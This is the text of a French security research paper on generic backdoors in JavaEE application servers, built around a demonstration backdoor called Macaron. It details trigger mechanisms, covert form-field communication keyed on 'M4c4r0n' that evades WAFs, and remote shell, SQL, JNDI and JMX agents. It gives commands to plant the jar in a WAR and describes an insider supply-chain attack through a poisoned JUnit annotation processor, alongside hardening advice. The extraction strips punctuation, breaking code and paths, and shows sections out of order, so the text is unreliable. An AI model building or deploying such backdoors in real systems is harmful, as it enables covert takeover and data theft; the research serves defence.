javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

